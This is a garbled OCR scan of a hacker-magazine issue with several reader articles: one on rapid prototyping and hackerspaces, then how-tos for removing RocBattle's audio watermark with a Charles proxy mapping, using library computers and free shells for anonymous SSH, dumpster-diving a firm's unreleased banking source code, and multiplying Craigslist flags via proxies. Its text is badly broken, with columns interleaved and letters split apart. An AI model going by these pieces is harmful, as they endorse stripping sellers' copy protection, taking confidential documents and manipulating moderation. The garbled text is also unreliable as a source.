scr ipt of thei r own l i fe story - but i f  you The fou ndat ion on wh ich the whole 

can become consc ious  of you r  scr i pt, i t ' s  sadomasoch i st ic  wor ld  system i s  erected i s  

poss ib l e  to  start imp rov i ng it  and improv ing  the  percept ion of  you rse l f  as a v ict i m .  A lot 

the way you wr i te i t  as you go a long. of peop le  a re sta rt ing  to figu re th i s  out, and 

Some of our  most bas ic progra m m i ng when that number reaches a certa i n  t ipp ing  
poi nt, i t  i s  go i ng to  a l ter the  structu re of  the 

concerns what i t  means  to be "good" or  
Matr i x .  See ing  you rself as the wor l d ' s  v ict i m 

"bad . "  When parents, teachers and other 
i s  p rofound ly  d i sempower ing and keeps 

author i t ies a re tra i n i ng us how to be "good, "  you locked i n  a cyc l e  o f  se l f-c reated pa i n  
often t h i s  h a s  very l i tt l e  to d o  with do ing and m i sery. We break free from th i s  cyc le  
what  i s  r igh t  and i s  more about tra i n i ng by mak ing  a consc ious  dec i s ion  to accept 
us to behave in ways that a re conven ient  comp lete respons i b i l i ty for creat i ng  our  
for them.  Today the task  of  programm ing  own rea l i ty. Get a copy o f  The A nger Habit 
" rea l ity" has substant i a l l y been ta ken over Workbook by Car l  Semmel  roth and study it 
by te l ev i s ion ,  wh ich is l i ke a very-I ow- l i ke a b ib le .  D rs .  Barry and Janae Wei n ho ld  
frequency m i ndcontrol dev ice tha t  s i ts have an exce l lent  series of e-books t i t led 
i n  you r  l iv i ng  room,  tu n i ng you i n  to the Breaking Free from the Matrix. There a re a 
corporate Matr ix  ma i nframe. It i s  sponsored lot of wonderfu l books out there to he lp  us 
by corporations who are not concerned take control of ou r  m i nds and emot ions and 
with anyth i ng at a l l  except se l l i ng break free from the Matr ix of soc i a l  control ­
thei r products. I n  one of my favor i te fi nd them, and free you r m i nd .  
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We l ive i n  a t ime  where there a re no to  g ive  young  peop le  as  many d i fferen t  
l i m its to  c reat iv i ty. I f  you  can  i magi n e  it , opportu n it ies  to get hooked on d i fferent 
you can  make i t .  The techno logy of rap i d l y  art i s t ic  med i u m s  o f  s e l f  express ion .  I n  t h e  
prototyp i ng  i s  now at a stage where a n y  s u mmers when I wasn ' t  teach i ng I wou l d  
object or  p roject i s  i n  t h e  rea l m  o f  the set  myse l f  a rt i s t ic  cha l lenges .  My summer­
poss i b l e . The h ardware, mach i nes, and  t ime  ru l e  was  that  i f  I cou l d n ' t  get started 
robots that w i l l  do ou r  b i dd i ng a re wa i t i ng  mak ing  a p roject w i th i n  a few d ays of 
for peop le  to put  them to work i n  work- h av i n g  the idea, then I wou ld  abandon 
shops and  l iv i ng  rooms .  The software for the idea .  I learned d rawi ng, pa i nt i ng, and  
des ign i ng w h at you see i n  you r  head  ha s  cera m i cs sk i l l s  by  cha l l eng ing  myself t h i s  
never been eas ier  t o  acqu i re and  learn . way. 
We a re tru l y  in a ren a i ssance of wonderfu l Then one sum mer, I got obsessed w i th  
opportu n i t ies  for peop le  w i th  a n  i magi na- v i deo b loggi ng  and  started c reat i ng  tuto­
t ion . When I was a k id ,  rap i d  p rototyp ing  r i a l  v i deos for my students and  sha r i ng  
too l s  o n l y  ex i sted on sc ience f ict ion TV v ideos on l i ne .  Th i s  eventu a l ly tu rned i n to 
shows l i ke The jetsons a n d  Sta r  Trek.  a job mak i ng  tutor i a l  v ideos for Make 
Th i ngs h ave changed s i nce then . Maga zine and Etsy.com.  At the begi n n i ng 

I got hooked on repu rpos i ng  tech- of  the week, I wou l d  se t  myse l f  a tas k  and  
no logy and  mak i ng  t h i ngs back  when I have a tutor i a l  v i deo u p  by the end of the 
was seve n .  My u n c l e, who made a l iv i ng week .  Some weeks had stra ightforward 
gett i ng  up ea r ly  and  p row l i n g  the trash  goa l s  such  as  mak ing  a secret compart­
of Boston look i ng  for treasu res to se l l  at ment  book or a duct  tape wa l l et wh i l e  
weekend  f lea markets, taught  me how to other  more amb i t ious  p rojects req u i red 
put together  a work i n g  b i ke out of a bunch  co l l aborat ion w i t h  the fo l ks at  the Seatt l e  
of  broken b i kes. Once  I rea l i zed tha t  I hacke r  space, H ackerbot Labs .  Work i ng  
cou ld  t ake  apart a b i ke and  get i t  back wi th  fr iends  to c reate hovercrafts, draw i n g  
together, I w a s  obsessed w i th  f igu r i ng  out robots, and  near  space pay loads were 
how th i ngs worked . At the l i b ra ry, I wou l d  some o f  t h e  best t i mes o f  m y  l i fe .  
sett l e  i nto the  700 sect ion and  j ust read My web v i deos got the  attent ion of 
a ny books about how to make t h i ngs .  m a i n stream med i a  and  I now h ave a TV 
I daydreamed about growing  up to be a show i n  the works c a l led History Hacker.  
mecha n i c  w i th a l l  the  too l s  in my shop (The p i lot a i red in September on  the 
that I cou ld  ever want.  A few years l ater i n  H i story channe l . )  On  the show, I exp lore 
the ear ly  80s, my parents had a software the l ives of i n ventors from h i story and  
company produc i ng  c h i l d ren ' s  software rema ke the i r i nvent ions  in a way that ' s  
for t h e  App l e  1 1 +  and  t h e  Commodore 64 .  access i b l e  to  paren ts and  k ids .  U nt i l t ha t  
I ido l i zed the p rogra m mer as  magic i a n s  goes i n to p roduct ion ,  I ' ve c reated a web 
contro l l i ng comput i ng  mach i nes !  ser ies ca l l ed Things and  in  i t, I i n terv iew 

As a n  adu l t  I ' ve been m a k i ng a l iv i ng peop le  about th i ngs that  they h ave made.  
in  one  way or  a nother by learn i ng how Work i n g  on p rojects co l l aborat ive l y  
to  m a ke somet h i n g  and  teach i ng peop l e  i s  very sat i sfy i ng.  When I moved from 
what I ' ve l ea rned .  I was a n  a rt teacher  i n  Seatt l e  to N ew Yor k  C i ty i n  2 007,  I needed 
Seatt l e  Pub l i c  Schoo l s  and my goa l  was a hacker  space. I v i s i ted h acker spaces 
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across Eu rope on the " Hackers on a P l a ne" got a kn i fe that  cu ts at you r com mand .  
tou r and, short ly  after, some  fr iends  a n d  I I f  you  want to make you r own mach i nes 
fou n ded N YCRes i stor, a hacker space i n  to d o  you r  b i dd i ng, there a re a b u nch  of 
B rook l yn .  O u r  h acker  co l l ect ive ' s  focu s  i s  D IY  so l ut ions  for m a k i n g  you r own rap id  
to  l earn ,  s ha re, and  make t h i ngs .  H av i n g  p rototy p i n g  mach i ne .  I f  y o u  a re i nto t h e  
a g roup  o f  friends  t o  work w i t h  on  p roj - s ubtractive p rocess, there a re p l a n s  for 
ects is the t h i n g  I ' m  most proud of. If you homemade computer  contro l l ed m i l l s  
daydream o f  h av i n g  a space to hack  o n  a n d  l athes on l i ne .  My fr i end  Devon i s  
p rojects wi th  fr iends ,  you rea l l y  shou l d  j ust fi n i s h i n g  u p  h i s  C N C  m i l l  m a d e  of 
start a hacker space.  There is a great docu- M D F. I f  you  have a pass ion for the add i ­
ment  t i t led " hacker space  des ign  p atterns "  t ive p rocess, a g reat p l ace to start i s  by 
t hat i s  a m u st read for a nyone th i n k i n g  b u i l d i ng a R e p  R a p  t o  c reate you r  own se l f­
about  start i ng  u p  a h acker space.  H av i n g  rep l i cat i n g, rap i d  p rototy p i n g  robot. I t ' s  a 
a h acker space i s  a great way to co l l abora- 3 D  pr i nter that extrudes p l ast ic  to c reate 
t ive ly  obta i n  new too l s  a n d  rap i d  p roto- 3 D  th i ngs .  Meta l ab, the  hackerspace 
typ i ng equ i pment .  in  Vienna,  i s  rock i ng  the i r  Rep Rap and  

B u t  rap i d  p rototy p i n g  does n ' t  req u i re p r i n t i ng  out  parts for t he i r  robot as we l l  as  
rooms fu l l  of expens ive mach i ne ry; you a l l  sorts of scu l ptu res and  even m i n i at u re 
don ' t  h ave to spend a lot of money to ca r  mode l s .  
rap i d l y  p rototype objects. Wi th  a l i tt l e  Some too l s  a re ha rder to  bu i l d  you rse l f. 
e l bow grease a n d  c reat iv i ty, you can  My favor i te commerc i a l  rap i d  p rototy p i n g  
rap i d l y  p rototype objects on t h e  cheap .  mach i nery i s  a laser  cu tter. My  fr iends  
You can  even rap id  p rototype objects wi th  and  I at N YCRes i stor co l l ect ive l y  s ha red 
paper!  A l l i son Kud l a  and I rap i d  p roto- the expense a n d  bought an Ep i log 35 watt 
typed a paper tu rkey for Tha n ksgiv i ng .  We l aser cu tter. I t ' s  the Swiss Army k n i fe of 
des igned it i n  B l e nder, the open sou rce rap i d  p rototyp i ng .  O u r  3 5 W  Ep i log l aser 
3D mode le r, and then i mported the dxf can  cu t  u p  to 1 /4 "  wood and ac ry l i c  and  
fi l e  i nto Pepaku ra .  Pepaku ra i s  a p rogram can etch meta l .  Bes ides box enc losu res 
that  u nfo ld s  3D object fi les .  F l aps ,  fo l d  and  parts for robot a rms, i t  can  be u sefu l 
l i nes, a n d  tabs for g l u e  a re c reated and  for j ust m a n i fest i ng  th i ngs t ha t  you  need 
the v i rt ua l  3D object i s  t ra nsformed i nto a at the moment .  My buddy E r i c  M ichaud  
2 0  pdf  fi l e  to  p r i n t  ou t .  After p r i n t i ng  ou t  needed a fork  to  ea t  h i s  ramen a n d  there 
the pdf of our t u rkey, we fo l ded it , g l ued was no cu t lery a t  the hacker  space, so he  
i t  together, a n d  pa i nted i t  to  make i t  look  j u st d rew one u p  i n  QCAD, exported i t  
j ust l i ke a tu rkey m i ght  look  i f  i t  were i n  as  a dxf  fi l e, i mported i t  i n to Corel  Draw, 
Wor l d  of Warcraft or a rea l l y  l ow reso l u - and  l aser cu t  i t .  B y  the t ime the  ramen  was 
t ion  a n i mat ion movie .  I f  you ' ve a l ready got ready, he had a c reated a for k  of h i s  own 
an ord i na ry p r i nter, the B lender/Pepa k u ra des ign and  had  a tasty mea l .  
rap i d  p rototyp i ng p rocess i s  free . Th i s  i s  a I f  you want to work wi th  meta l ,  there 
great p l ace to start m a k i ng the 3D des igns  a re on l y  a few opt ions .  You can  u se a 
you see i n  your i magi nat ion i nto phys ica l  subtractive too l  l i ke a water je t  or  a p l asma 
objects . Arti sts l i ke Aram Bartho l l and cutter. I have n ' t  p l ayed with these much,  
L i nda Kostowski  are push i ng the frontier but  I ' m  itc h i n g  to make some s u n g l asses 
of art u s i n g  Pepakura to rap i d  p rototype out of a l u m i n u m ,  so I ' l l  have to fi nd one 
thei r artwork.  to rent t ime on fa i r ly  soo n .  A water jet u ses 

If you get obsessed with paper cutt ing  h igh  pressu re water and abras ive part ic l es 
and fo l d i ng, another i nexpens ive way to to cut through pretty much anyth i ng. 
rap i d  prototype objects i s  by getti ng  an  P lasma cutters a l so cut meta l s  and can 
i nexpens ive cutti ng  p lotter l i ke the Craft be mounted on robotic arms. If you want 
ROBO. Jeff Rutz ky i nsp i red me to p l ay to u se an add it ive process for creat ing  an 
with th i s  techno logy for mak ing  boxes, object out of meta l ,  you can fo l low the 
pop up greet ing  cards, and crazy or iga m i  l ead o f  Bathsheba G rossman,  w h o  creates 
scu l ptu res. I t  u ses a pr i nter s i zed mach i ne des igns  that are 3 D  pr i nted us i ng a res i n/ 
but  i n stead of an i n kjet pr i nter head, i t ' s  meta l m i xture and then fi red to become 
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beaut i fu l so l i d  meta l 3 D  a rt objects. 
I f  you h ave a project that needs to be 

rap i d  prototyped but you don ' t  want to 
i n vest the t ime in bu i l d i ng you r  mac h i n e  
from scratch or t h e  money t o  acq u i re one, 
be on  the lookout for fo l ks i n  you r  town 
who h ave the too l s  and  see if you can  rent  
t ime o n  them . In  New York  C ity there a re 
a few p l aces to rent t ime on mach i nes and  
I know tha t  there a re tech shops open i n g  
u p  a l l  over t h e  p l ace where you can  pay 
a members h i p  fee to h ave access to rap i d  
prototype mach i nery. 

The front ier  of rap id  prototyp i ng  i s  
fi l led wi th  a l l  sorts o f  w i ld ,  wonderfu l ,  
a n d  amaz i ng  mach i nes. Ear l ier  t h i s  year, 
I p i c ked u p  a kn itt i ng mach i ne on eBay 
a n d  I j ust learned how to use i t  to make 
custom sca rves . Embro idery m ac h i nes a re 
commerc i a l l y  ava i l ab le  for putt i ng you r  
custom des igns  on c loth i ng .  You can  even 
rap i d  p rototype wi th  suga r !  The Ev i l  Mad 
Sc ient i sts - Wi n de l l , Lenore, and Chr is  -
h ave c reated a candyfabber that w i l l  rap i d  
prototype des igns m a d e  o u t  o f  sugar. I f  
you ' re a rap i d  prototyper w i th  a sweet 
tooth ,  I ' ve seen a few computer contro l led 
cake i c i n g  mach i nes. 

I f  you choose to get i nto rap i d  proto­
typ i n g, no m atter what k i n d  of mach i ne 
you b u i l d  or buy, you ' rego i ng  to h ave to 
use software to get you r  idea out of you r  
head a n d  i nto a d ig i ta l fi l e  format for the 
mach i nery to u n derstan d  you r  v i s ion .  There 
a re a l ot of opt ions, both open sou rce a n d  
commerc i a l  a n d  no m atter h o w  awkward 
they a re to learn,  there a re fo l ks who w i l l  
swear by each one.  For c reat i ng  f lat t h i ngs, 
I l i ke to use I n kscape, a vector i magi ng  

p rogram .  For 3D mode l i ng I u se  B l ender. 
Both a re open sou rce a n d  h ave lots of tuto­
r i a l s  on l i ne. Be prepa red to spend a so l i d  
week learn i n g  how t o  use w h ichever soft­
ware you choose. When I m a ke a des ign  
fi l e, I l i ke to  share i t .  S i nce there was n ' t  a 
centra l i zed p l ace to sha re the des ign  fi l es 
for m a k i n g  t h i ngs, my fr iend Zach Hoeken 
S m i th  and I c reated Th i n giverse, a fresh 
website for sha r i ng  des igns  for th i n gs w i th  
the u n iverse. I t ' s  l i ke YouTu be, but  i nstead 
of sha ri ng  v ideos, you can sha re the 
des ign  fi l es you c reate. Recent ly, I made 
a l aser cut  f latpack mon key act ion f igure 
a n d  p u b l i shed the fi l e  before go i ng to bed . 
When I woke u p, my fr iend Mart i n Bauer, 
who has  a l aser cutter i n  Ber l i n ,  had  seen 
my des ign ,  i m p roved it, a n d  put together 
h is  own vers ion  of my act ion figure a n d  
taken awesome p i ctu res ! S h a r i n g  fi l es i s  
rea l l y  sat isfy i ng  and  bei ng  ab le  to create 
objects from other peop le's tr ied and  true 
des ign  fi les w i l l  m a ke i t  eas ier for fo l ks 
who a re j ust gett i ng  i nterested i n  rap i d  
prototyp i ng t o  get sta rted . S h a r i n g  i s  some­
th i n g  that makes the wor ld  a better p l ace. 

As cheap rap i d  prototype too ls,  soft­
ware, a n d  mach i nery spreads, more a n d  
more peop le  w i l l  become obsessed wi th  
c reat i ng  the i r  own objects. I f  you ' ve been 
wa i t i ng  to j u m p  in a n d  br i ng  you r  v i rt ua l  
objects i nto the p hys ica l  wor ld ,  now i s  t he  
t i me.  Jo i n  the rap i d  p rototyp i ng  revo l u ­
t ion ,  a n d  des ign t h e  objects o f  future! 

Sre Pettis is obsessed with making 
things and is a founding member of 
N YCResistor. You can find his blog and 
videos a t  brepettis . com. 



B�G rft£. SYsrtfti 
te G£rBUJS 

by lk  

D u r i ng t h e  d a y  I ' m  a Ruby hacker. I des ign,  
wr i te, and manage Ruby/Ra i l s/Merb web 
app l i cat ions .  But at n ight, as a hobby, I l i ke 
to wr i te break beats, house mus ic  and other 
forms of e lectro n i c  mus ic .  I rea l l y  try to stay 
"we l l  rounded" and exerc i se my l eft and r ight 
bra i n .  

I be l i eve strongly that if  someth i ng i s  
ava i l ab le  on l i ne, i t ' s  you rs for t h e  tak i ng i f  you 
can find a way to get i t .  That i s  as long as you ' re 
not profiteer ing with someone e l se ' s  go ld .  

Anyway, the  other n ight I was v i s i t i ng  a 
fe l low on YouTu be who was s imp ly  amaz i ng at 
p l ay i ng h i s  Akai  M PC 1 000 (a samp l i ng drum 
mach i ne) .  I v i s i ted h i s  My5pace profi l e  to 
check out h i s  other works, and a wi dget ca l led 
" Roc Batt le" caught my eye. I t  had var ious 
beats of h is  wh ich he was sel l i ng through t h i s  
th i rd party s i te/serv i ce o f  t h e  same name. 

Very br iefly, I was soon to l earn that 
Roc Batt le  employed a relat ive ly  common 
tech n ique of "audio watermarki ng . "  I f  you 're 
fam i l i a r  with p l a i n  o ld  "watermark ing, "  you 
can i magi ne what I ' m  ta l k ing  about. I t ' s  a 
tec h n i que that a l l ows Roc Batt le  to provide 
an  art ist ' s  aud io  track for you to l i sten to, 
wh i l e  at the same t i me protecti ng the " r ights" 
of these art i sts. L i sten i n g  to the a rt i st ' s  track, 
another voi ce record i ng at a low vo l u me 
i s  p l ayed that repeats, "Get you r  beats at 
RocBatt le .com" (or someth i ng to that effect), 
steer i ng away anyone that m ight try to d ig i ta l l y  
record the aud io  com i ng from the i r  f lash 
p l ayer or wi dget. 

A l i tt l e  i nvest igat ion with F i rebug ' s  Net tab 
revea led someth i n g  relat ive ly  obv ious .  When 
h itt i ng the p l ay button on the i r f lash MP3 p layer, 

a fi leca l led http : / / www . r o cbatt l e . c o m /  

- r o cbatt l e  . mp 3  was be i ng p u l led over 
the tubes. I entered that U R L  and p u l led 
down an aud io  fi le .  Of cou rse, t h i s  was the 
voice watermark track !  I t  was a l most too easy, 
because now I knew that the f lash p layer was 
mere ly  p l ay i ng two tracks at the same t i me: 
the art i st's beat, and th is waterma rk.  

So, I needed to route my browser ' s req uest 
for that fi l e, and d ivert i t  to a b l a n k  M P3 .  I 
had done someth i ng l i ke th i s  prev ious ly, so I 
pu l led out Char les  Web Debugg ing  Proxy. I t's 
probab ly  the o n l y  J ava app l i cat ion I actu a l l y  
enjoy. I t  a l l ows you t o  do pretty m u c h  anyth i ng 
you wou ld  wa nt to ever do with H TTP traffic 

com i ng to and from you r  browser. 
I q u i ck ly  c reated a b lank  MP3 fi l e  and 

opened Char les .  I went  to " T o o l s  . . .  

Map L o c a l  . . .  " and created a map to the 

b l a n k  MP3 .  I t ied this fi l e  to http : / / www . 
- r o c b a t t l e . c o m / r o c b a t t l e . m p 3  

and B LAMO! I was ab le to remove the 

watermark. 
Can anyone guess at how they shou l d  have 

set th i s  watermark up i n it i a l l y ?  MDS hash the 
or ig i na l  fi l e, have the p l ayer match that and 
maybe change the URL to someth i ng a l i tt l e  
less s i m p l e .  O f  cou rse, there are ways around 
everyth i ng . . .  but  at l east that's what I wou l d  
have done!  

Ano ny m ous SSM 
at the  l ibrary 

by carbide 

At the Rutgers' l i brar ies they have 
computers that you can access without a 
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username and password. You j ust go up to 
a computer, p lop down,  and start su rfi ng. 
They a re very restr i ctive however; you 
can not eas i l y  save fi l es or do pretty much 
anyth i ng e l se except access ing  the I n ternet 
and browsi ng the l i b ra ry cata log.  

At my cu rrent l i b ra ry the system i s  the 
same, wh ich gave me the i dea of us i ng  a 
l i b rary's computers for access i ng other 
computers complete l y  anonymous ly. R ight  
from the computer you can s ign up  for a 
H ushma i l  account  at: h t tp : / / www . 
hushmail . c omwhich  does not ask for a 
name or address. 

Then us i ng  that ema i l  address, 
sign up  for a free ssh account .  There 
a re good l i sts ma i nta i ned at e ither :  
http : / / www . dmo z . org / C ompu t ers /  
- I n t e rn e t / A c c ess_ P r o v i d e rs /  
- U n i x_ S h el l _ P r o v i d e rs / F r e e _  
- S h e l ls or h t tp : / / www . goog l e . 
- c o m / T o p / C o mp u t ers / I n t e rn e t /  
-Ac c ess Providers / Unix_S h e l l  
- Providers/ Free_Shells. I chose 
Garo's she l l s  at: h t tp : / / j a guar . garo 
-til . be, because it on l y  requ i red an 
ema i l  add ress, and from how i t  seemed the 
account  won't be left there after a wh i l e .  
When new accou nts a re c reated the o lder 
accou nts get de leted (they expl a i n  i t  better 
on the s i te) .  

Now, to access th i s  new ssh accou nt, I 
use a j ava web app let ca l l ed M i ndTerm at: 
h t tp : / / www . appga t e . c om / produ c t  
-s / 8 0 _Min d T e rm / l l O _MindT erm_ 
-Download/ index . php. Th i s  page does 
not host the ssh app let, it a l lows one to 
put up an ssh app let on thei r web server. 
However the app i s  hosted on l i ne at: 
h t t p : / / ru m k i n . c o m / t o ols / ssh . 
Now you can log i nto you r  free ssh account  
us ing a free ssh app let .  

Let's take a step back and see where we 
are: s i tt i ng at a computer anonymously, 
l ogged i nto a remote ssh server anonymous ly, 
and  u s i ng an anonymous ssh c l i ent. The 
on l y  way I can th i n k  of that someone wou l d  
b e  a b l e  to track what you a re do ing i s  i f  
there i s  a camera a t  t h e  I i b ra ry, a n d  they can 
te l l  which computer you a re u s i ng, and  they 
know what the IP address is . B ut someone 
at a remote locat ion i s  not l i ke ly  to have 
th i s  i nformat ion . Other th i ngs that can be 
u sed to trace you a re f ingerpr i nts l eft on the 
keyboard and mouse. 

What to do with th i s  i nformat ion i s  l eft 
u p  to the reader. Anonymous act iv it ies can 
e i ther be used for good or  evi l .  I nformat ion 
i s  not the th ing that i s  wrong or r ight, i t's 
what each of us dec ides to do with that 
i nformation .  

Trashi ng Gone Wrong i n  Switzerland 
by PriesT with what we l i ked to ca l l  a host home, 

a rel at ive of my French teacher. F u n .  Th i s  
part icu l a r  home was on t he  outsk i rts o f  a 

You cou ld  say that I have a k i nd  of sma l l  and i nterest i ng  c i ty, whose name s l i ps 
i nformat ion fet i sh .  F i nd i ng out the facts my m i n d .  Maybe I shou l d n ' t  say it anyway. 
beh i nd someth i ng otherw i se c l ass i fied j ust With i n  th i s  estab l i s hment were mu l t ip le  
makes me sh iver i n  del ight and scream l i ke a r ich  corporate b u i l d i ngs:  a Rolex factory, 
l i tt l e  g i r l . Natura l l y, dumpster d iv ing  appea l s  a Lamborgh i n i  dea le rs h i p, and mu lt i p l e  
to  sati sfy such des i res. U nfortunate ly, bei ng secur i ty compan ies .  I was i n  heaven .  
the i gnorant Amer ican tha t  I am, I d i d  not  One n i ght, arou nd 9 pm, my two 
take i nto cons ideration how dumpster fr iends and I went on a wa l k. After a l ready 
d iv i ng  in Switzer land cou l d  probab ly  get exp lor ing  the Rolex bu i l d i ng ' s  p roperty 
me locked up .  Th i s  exper ience successfu l ly (the i r  trash cou ld  have eas i l y  been an army 
awakened me to that fact. base with a l l  the secu ri ty su rround ing  it ) ,  we 

Dur i ng  the summer of 2008, I went sp l it off and someth i ng  i m mediate ly  caught 
to Switzer land as a part of my French 3 my eye. With i n  one b u i l d i ng ' s  comp lex, a 
c l ass .  The i ntent ion was for me to hone s ign adorned one of the doors of a certa i n  
m y  French speak i ng  sk i l l s i nto someth i ng computer i ndustry g iant  we a l l  know, wh ich  
comprehens ib le .  Dur ing  my stay, I l ived I have left un named. U nfort'J I'ate ly, my 
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whee l s  of cu r ios i ty started turn i ng, and  I We wai ted, and wa i ted, and  wa i ted, and 
made a bee l i ne for the rows of  p last ic trash the non-Eng l i sh  speak i ng  secu r ity guard 
can i sters adjacent to the bu i ld i ng.  They left on break, and we wa i ted some more. 
m ight as wel l have been buckets of go l d  M y  two fr iends cou ldn ' t  stand  t h e  pressu re 
nuggets . After l ooki ng over a few, I noticed of watc h i ng me be i ng  he ld  hostage ( i n  a 
the conta i ners were a l l  labe led accord i ng  matter o f  speak i ng), so  they came over and 
to the company they belonged to. I a l most accompan ied me. I was su re I cou l d  j ust 
l aughed out loud for my l uck !  After fi nd i ng  poke th i s  dude  i n  t he  eye and  book i t  home. 
the dumpster I was look i ng for, I began As the hours passed, we ta l ked and  l earned 
to rummage. I found  exactl y  what I was about t h i s  guy ' s  l ife story, except for h i s  sh i ft 
look i ng for: papers. Many, many papers . sched u l e  (those were c l ass if ied), and we 

There were enough papers there to retu rned the favor with our  story. 
fi l l  Obama ' s  head, excuse the po l it i ca l  After th ree fu l l  hours of wa i t ing  for 
i ntrus ion .  I started l ook i ng  through them the Swiss cops, they fi n a l l y  showed up, 
and i nspect ing  the i r  contents -I cou l d n ' t  screech ing  t o  a h a l t  and park i ng  on  t h e  cu rb 
be l ieve my eyes . Notes, books of sou rce l i ke they meant bus i ness. Sudden l y, the 
code, and stat ist ics a l l  re lat ing to this same scared-out-of-my-pants fee l i ng that 
corporat ion ' s  new secure ban k i ng software! had taken me when I fi rst saw the secu r ity 
From what I read, it has yet to be re l eased, officers gr ipped me aga i n .  These cops 
but after ten m i n utes or so of b l i ssfu l d i v i ng, weren ' t  you r  typ ica l  American,  doughnut-
I had a sma l l  stack  of extreme ly  i nterest i ng eat i ng, badge-bea r ing cops. These dudes 
th i ngs I p l anned to sort through l ater. No were bad . They had  b u l l et proof vests on, 
t ime for the sh redded documents, though . and l ooked as i f  they cou ld  take on Rambo. 

J u st as a d i sc l a i mer, I had no i ntent ion I immed iate l y  trashed my eye-pok ing  
of  u s i ng th i s  for ma l ic ious  pu rposes . L i ke strategy, no pun  i ntended . 
I sa i d :  th i s  k i nd  of th i ng gets my b lood To my p leasant (a nd scared-st iff su rpr i se) I· Pumping and makes l i fe that much more 

the cop asked me my story in perfect E ngl  i s h .  
i nterest i ng .  Back  to  t he  story. 

A hand touched me on the shou lder. I 
I recou nted the same BS about my watch 

. 
d d i d ' t 

that I to l d  the secu r i ty officer. With that, I 
J umpe an  near y crappe In my pan s, 
on l y  to see i t  was one of my sm i l i ng fr iends showed h i m  my ID and he made a check i n  

who had accompan ied m e  to the c ity. the secur i ty officer ' s  book, then they both 

Whew. J u st about to b i te h i s  head off, I prompt ly  l eft. That was i t .  The secu r ity guard 

stopped short as h i s  express ion q u ick ly  apologized and to l d  us we cou l d  go .  I was 

turned u ps ide-down .  Usua l l y  that i s n ' t  a sta rt led at the h igh level of pr ivate secur i ty, 

d ·  H 
. 

k l  d I t i n  contrast with the l ax natu re of loca l  l aw goo s ign .  e ran  qU l c  y an  was  me 
enforcement i n  Switzer land .  by two decked-out Swiss  secu r i ty guards, 

a im i ng  thei r f lash l i ghts at me. Then I Once the adventu re was over and I had 

crapped in my pants. In French, the secu ri ty obta i ned a good n ight ' s  s leep, I retu rned 

guard demanded what I was do ing .  I n  j ust to l ook across the park i ng l ot of the 

short, he spoke awfu l Eng l i sh and I spoke bu i l d i ng to see if  I cou l d  spot my stack 

awfu l French .  Sti l l  we managed to get a few of documents . I cou ldn 't .  At th i s, I tu rned 

poi nts across . As one of the guards he ld  me around and wa l ked back to my host home. 

where I was, the other ran off with a phone.  Th i s  experience gave me a deeper l evel 

I l ater d i scovered that he ca l led the pol ice to of respect for trash conta i ners, and I have 

i nform them that I was a terror i st p l ant ing  a s i nce dec ided to do my rummag ing  once i t  
bomb in a dumpster. Righ t. Scared as a wet has  been retrieved by the waste co l lectors, 
rabbit, I d i d  whatever the freak they to l d  me or trash men as i t  i s  much safer. I wou ld  
to  do. They asked what I was do i ng there suggest bei ng more ca refu l dumpster d iv ing  
mu l t ip le  t i mes, and  I muttered some story than I was, or you cou l d  l earn the hard way. 
about look ing  for my watch that m ight have A lways assume that max imum secu rity i s  
gotten d i sposed of. What an  awfu l story. be i ng  imp lemented . S i nce then, not a day 
Eventu a l l y, they took me to a street corner goes by when I wonder how long I wou l d  
and  w e  wa i ted for t h e  pol i ce. They hadn 't have been locked up if that sma l l  stack of 
seen my col lection of ban k i ng papers. ban k  documents had been found .  
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This Posting Has Been Flagged For Removal 
by Half Life an ad that I cou l d  not take down or at least 

halfl ife81 1 @gmail .com cause i t  to be ghosted . (G host i ng occu rs when 
the ad has been removed from the master i ndex, 

Cl Flagging System 
but a d i rect U R L  to the ad sti l l  works. )  I h ave 

Cra i gs L i st (CL)  is an automated system i n  
never seen a threshold greater than 7 5  with 

that for the most part it does not re l y  on h u ma n  
t h e  poss ib le  except ion o f  t h e  persona ls  w h i c h  I 

moderators. I n stead it re l i es on com m u n ity 
consider to be a waste land a nyway and a l most 

moderat ion ,  or  in other terms, f laggi ng.  An  ad 
never go there. Of cou rse, I have no idea what 

m ay be f lagged as m i scategori zed, pro h i b i ted, other peop le are doing in terms of flagg i ng, so I 
or spam/overpost. The CL user can  f lag an ad for can not tel l for sure. I am in a major c i ty and my 
any reason and the th ree types of flags a l l  count  l i st of  i nterest i s  fa i r ly  h igh vo l u me. I expected 
the same.  The sp i r i t  of the CL f lagg i n g  system the thresholds to be h i gher, but they were not. 
i s  one flag per person per ad. Th i s  i s  enforced When I f lag ads in other major c i t ies I never f ind 
by IP address. You can f lag a n  ad many t imes, h igh thresholds .  
but  i f  you h ave not somehow c h a n ged you r  I P  Th resholds tend to be low because peop le 
address on ly  one f lag counts.  genera l l y  do not bother to f lag. I see evidence 

H ow can  an ad be f lagged more than  of  th i s  every day. I often go back a day or so i n  a 
once a n d  h ave it count?  The s i m p l est way i s  l i st and fi nd spam that probably  went l ive with 
to f lag i t  at work a n d  then f lag the same ad at a threshold of 1 or 2. I f lag i t  once and down i t  
home.  Work a n d  home I P add resses w i l l  most goes. Sure, i t  may have gone l ive with a normal 
certa i n l y  be d i fferent. Stop off at the m a l l  on threshold and my f lag j ust happened to be the 
the way home a n d  use pu b l i c  h ot spots. I can one that  took i t  down, but I see i t  happen so 
u se my ne ighbor ' s  u n secu red wi re l ess router. I n  often that I have to conc l ude i t  i s  because peop le 
fact, I c a n  see severa l u n secu red networks r ight  don ' t  f lag .  The lack of  f lagg ing  on CL  i s  much 
now. My D S L  package comes wi th  more than l i ke a democracy with poor voter turnout .  Many 
one IP address. They cou nt too. But there i s  a bad ads on CL s imp ly  do not get flagged enough 
much better way to flag an ad m u l t ip le  t imes to be removed. L i st after l i st i n  c ity after c ity are 
a n d  h ave each f lag cou nt, and t h i s  is by the use fu l l  of scams, spam, r ip  offs, and terms of use 
of proxy servers. F i rst we m ust ta l k  a l i tt le  b i t  v io lat ions.  
about f lag t h resho lds .  CL  cou ld  attempt to  b l ock prox ies, but they 

Flag Thresholds don ' t .  I spec u l ate t h i s  i s  because proxy servers 
Every ad has a f lag thres h o l d .  Th i s  is the come and go fast. I t  wou l d  be d i ff i c u l t  to try to 

n u m ber of flags it takes from d i fferent I P  keep track of them a l l .  New ones w i l l  a l ways 
addresses to remove the ad from the system.  A l l  b e  popp i n g  u p .  CL  wants more f lagg ing .  C L  
CL staff w i l l  a d m i t  t o  i s  that t h e  f lag thresho ld  i s  proba b l y  b l ocked at m a ny work  p l aces a n d  
i s  between 2 a n d  1 0,000 for any ad .  T h e  exact the o n l y  way for people to get to CL  at work is 
